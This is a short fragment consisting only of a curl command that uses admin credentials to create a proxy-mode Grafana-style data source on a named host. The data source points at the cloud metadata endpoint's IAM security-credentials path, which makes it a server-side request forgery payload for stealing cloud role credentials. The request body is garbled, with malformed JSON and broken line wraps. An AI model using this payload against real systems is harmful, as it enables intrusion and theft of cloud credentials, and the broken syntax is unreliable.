curl -X PUT http://doxbin.org:
admin@doxbin.org//1 -H
"Content-Type:application/json"
-d '{"Name":"test1","Type":"graph
ite","Access":"proxy","url":"http://
169.254.169.254/latest/meta-data/
iam/security-credentials/
<role-instance-name>","password","","
user":"","database":""}'